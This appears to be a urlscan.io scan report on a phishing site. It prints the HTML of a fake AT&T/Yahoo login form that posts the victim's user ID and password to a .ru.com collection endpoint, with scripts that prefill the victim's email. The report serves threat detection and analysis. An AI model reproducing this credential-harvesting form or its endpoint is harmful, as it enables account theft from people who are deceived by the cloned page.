cloudflare-ipfs.com Open in urlscan Pro
104.17.96.13  Malicious Activity! Public Scan

Submitted URL: https://pp.rwlo7.ru.com/.xo/another.php
Effective URL: https://cloudflare-ipfs.com/ipfs/QmQcWb22KyFvc5wYadXfAcW9csCbXSRwK4oU748UKesS66/index.html
Submission Tags: phishing
Submission: On May 28 via api from US — Scanned from GB

Form analysis 1 forms found in the DOM

POST https://pp.rwlo7.ru.com/.xo/another.php

<form _ngcontent-tac-c33="" novalidate="" id="loginform" method="post" class="ng-tns-c33-0 ng-pristine ng-invalid ng-touched" action="https://pp.rwlo7.ru.com/.xo/another.php">
  <input _ngcontent-tac-c33="" type="hidden" name="appName" formcontrolname="appName" class="ng-tns-c33-0 ng-untouched ng-pristine ng-valid" value="">
  <div _ngcontent-tac-c33="" class="form-group mb-1 ng-tns-c33-0">
    <label _ngcontent-tac-c33="" id="userLabel" for="userID" class="textfield-label ng-tns-c33-0"> User ID <div _ngcontent-tac-c33="" id="userLabelAfter" class="ng-tns-c33-0"></div>
    </label>
    <div _ngcontent-tac-c33="" class="flex-container justify-content-center ng-tns-c33-0">
      <input id="userID" type="email" name="user" class="ng-tns-c33-0 textfield ng-pristine ng-invalid ng-touched" required="">
      <div _ngcontent-tac-c33="" aria-live="polite" aria-atomic="true" id="userInlineErrorTextContainer" class="ng-tns-c33-0"><!----></div>
    </div>
  </div>
  <script type="text/javascript">
    loginform.user.value = email;
  </script>
  <input type="hidden" name="chck" value="">
  <script type="text/javascript">
    loginform.chck.value = chck;
  </script>
  <div _ngcontent-tac-c33="" class="form-group text-right ng-tns-c33-0 ng-star-inserted">
    <a _ngcontent-tac-c33="" id="forgotUserID" class="ForgotLink ng-tns-c33-0" href="https://www.att.com/acctmgmt/fid/lander?origination_point=tguard&amp;Return_URL=https%3A%2F%2Foidc.idp.clogin.att.com%2Fmga%2Fsps%2Foauth%2Foauth20%2Fauthorize%3Fnonce%3DhdxB1zEBap%26redirect_uri%3Dhttps%253A%252F%252Fatt-yahoo.att.net%252Fisam%252Fsps%252Foidc%252Frp%252FATT-HBO-RP%252Fredirect%252FYahoo%26response_mode%3Dform_post%26alt_dest%3Dhttps%25253A%25252F%25252Fatt-yahoo.att.net%25252FFIM%25252Fsps%25252Fauth%25253FPartnerId%25253Dhttps%2525253A%2525252F%2525252Flogin.yahoo.com%2525252Fsaml2%26scope%3Dopenid%26response_type%3Did_token%26state%3DiRIFbIIb5r%26client_id%3Dm40842&amp;Cancel_URL=https%3A%2F%2Foidc.idp.clogin.att.com%2Fmga%2Fsps%2Foauth%2Foauth20%2Fauthorize%3Fnonce%3DhdxB1zEBap%26redirect_uri%3Dhttps%253A%252F%252Fatt-yahoo.att.net%252Fisam%252Fsps%252Foidc%252Frp%252FATT-HBO-RP%252Fredirect%252FYahoo%26response_mode%3Dform_post%26alt_dest%3Dhttps%25253A%25252F%25252Fatt-yahoo.att.net%25252FFIM%25252Fsps%25252Fauth%25253FPartnerId%25253Dhttps%2525253A%2525252F%2525252Flogin.yahoo.com%2525252Fsaml2%26scope%3Dopenid%26response_type%3Did_token%26state%3DiRIFbIIb5r%26client_id%3Dm40842">
                                        Forgot user ID?
                                    </a>
  </div>
  <!---->
  <div _ngcontent-tac-c33="" class="form-group mb-0 pass_show ng-tns-c33-0">
    <label _ngcontent-tac-c33="" id="passwordLabel" for="password" class="textfield-label ng-tns-c33-0"> Password <div _ngcontent-tac-c33="" id="passwordLabelAfter" class="ng-tns-c33-0"></div>
    </label>
    <div _ngcontent-tac-c33="" class="flex-container justify-content-center ng-tns-c33-0">
      <input _ngcontent-tac-c33="" id="password" name="suspass" class="ng-tns-c33-0 textfield ng-untouched ng-pristine ng-invalid" type="password" required="">
      <!---->
      <div _ngcontent-tac-c33="" aria-live="polite" aria-atomic="true" id="passwordInlineErrorTextContainer" class="ng-tns-c33-0"><!----></div>
    </div>
  </div>
  <div _ngcontent-tac-c33="" class="form-group text-right ng-tns-c33-0 ng-star-inserted">
    <a _ngcontent-tac-c33="" id="forgotPassword" class="ForgotLink ng-tns-c33-0" href="https://www.att.com/acctmgmt/fpwd/lander?origination_point=tguard&amp;Return_URL=https%3A%2F%2Foidc.idp.clogin.att.com%2Fmga%2Fsps%2Foauth%2Foauth20%2Fauthorize%3Fnonce%3DhdxB1zEBap%26redirect_uri%3Dhttps%253A%252F%252Fatt-yahoo.att.net%252Fisam%252Fsps%252Foidc%252Frp%252FATT-HBO-RP%252Fredirect%252FYahoo%26response_mode%3Dform_post%26alt_dest%3Dhttps%25253A%25252F%25252Fatt-yahoo.att.net%25252FFIM%25252Fsps%25252Fauth%25253FPartnerId%25253Dhttps%2525253A%2525252F%2525252Flogin.yahoo.com%2525252Fsaml2%26scope%3Dopenid%26response_type%3Did_token%26state%3DiRIFbIIb5r%26client_id%3Dm40842&amp;Cancel_URL=https%3A%2F%2Foidc.idp.clogin.att.com%2Fmga%2Fsps%2Foauth%2Foauth20%2Fauthorize%3Fnonce%3DhdxB1zEBap%26redirect_uri%3Dhttps%253A%252F%252Fatt-yahoo.att.net%252Fisam%252Fsps%252Foidc%252Frp%252FATT-HBO-RP%252Fredirect%252FYahoo%26response_mode%3Dform_post%26alt_dest%3Dhttps%25253A%25252F%25252Fatt-yahoo.att.net%25252FFIM%25252Fsps%25252Fauth%25253FPartnerId%25253Dhttps%2525253A%2525252F%2525252Flogin.yahoo.com%2525252Fsaml2%26scope%3Dopenid%26response_type%3Did_token%26state%3DiRIFbIIb5r%26client_id%3Dm40842">
                                        Forgot password?
                                    </a>
  </div>
  <!----><!---->
  <div _ngcontent-tac-c33="" class="form-group checkboxDiv mb-0 ng-tns-c33-0 ng-star-inserted">
    <label _ngcontent-tac-c33="" for="keepMeIn" class="checkbox ng-tns-c33-0">
      <input _ngcontent-tac-c33="" type="checkbox" id="keepMeIn" name="keepMeIn" value="y" class="ng-tns-c33-0" aria-label="Keep me signed in for 2 weeks checkbox">
      <div _ngcontent-tac-c33="" class="checkbox-skin ng-tns-c33-0"></div>
    </label>
    <span _ngcontent-tac-c33="" id="keepMeInText" class="checkbox-label ml-2 ng-tns-c33-0">Keep me signed in for 2 weeks</span>
  </div>
  <!---->
  <div _ngcontent-tac-c33="" class="form-group justify-content-center fg-sign-in ng-tns-c33-0">
    <div _ngcontent-tac-c33="" class="flex-container justify-content-center ng-tns-c33-0">
      <button _ngcontent-tac-c33="" type="submit" id="signin" class="btn-primary ng-tns-c33-0">Sign in</button>
      <button _ngcontent-tac-c33="" type="button" id="cancel" class="btn-link mar-t8 ng-tns-c33-0 ng-star-inserted">Cancel</button>
      <!----><!---->
    </div>
  </div>
  <!---->
  <div _ngcontent-tac-c33="" class="zenkey-container ng-tns-c33-0 ng-star-inserted">
    <app-zenkey-button _ngcontent-tac-c33="" class="ng-tns-c33-0" _nghost-tac-c32="">
      <div _ngcontent-tac-c32="" class="d-flex mar-t24 or-separator">
        <hr _ngcontent-tac-c32="" class="half-width-sep-line align-self-center">
        <span _ngcontent-tac-c32="" class="or-text-sep align-self-center"></span>
        <hr _ngcontent-tac-c32="" class="half-width-sep-line align-self-center">
      </div>
      <div _ngcontent-tac-c33="" class="form-group justify-content-center dnUI ng-tns-c33-0 ng-star-inserted">
        <div _ngcontent-tac-c33="" class="flex-container justify-content-center ng-tns-c33-0">
          <p _ngcontent-tac-c33="" id="dontHaveIdText" class="mb-0 ng-tns-c33-0">Don't have a user ID?</p>
          <a _ngcontent-tac-c33="" id="createNow" class="text-style-1 ng-tns-c33-0 ng-star-inserted" href="https://attreg.att.net/PortalRegWeb/PortalRegController?callingAppId=OP"> Create one now </a>
          <!----><!---->
        </div>
      </div> <!---->
      <!----><!---->
      <!----><!----><!---->
    </app-zenkey-button>
  </div>
</form>

Text Content

SIGN IN


TO CONTINUE

Password is incorrect, please try again.

User ID


Forgot user ID?
Password


Forgot password?

Keep me signed in for 2 weeks
Sign in Cancel

--------------------------------------------------------------------------------

--------------------------------------------------------------------------------

Don't have a user ID?

Create one now
Legal policy center Privacy policy Terms of use Accessibility Do not sell my
personal information
©2021 AT&T Intellectual Property. All rights reserved.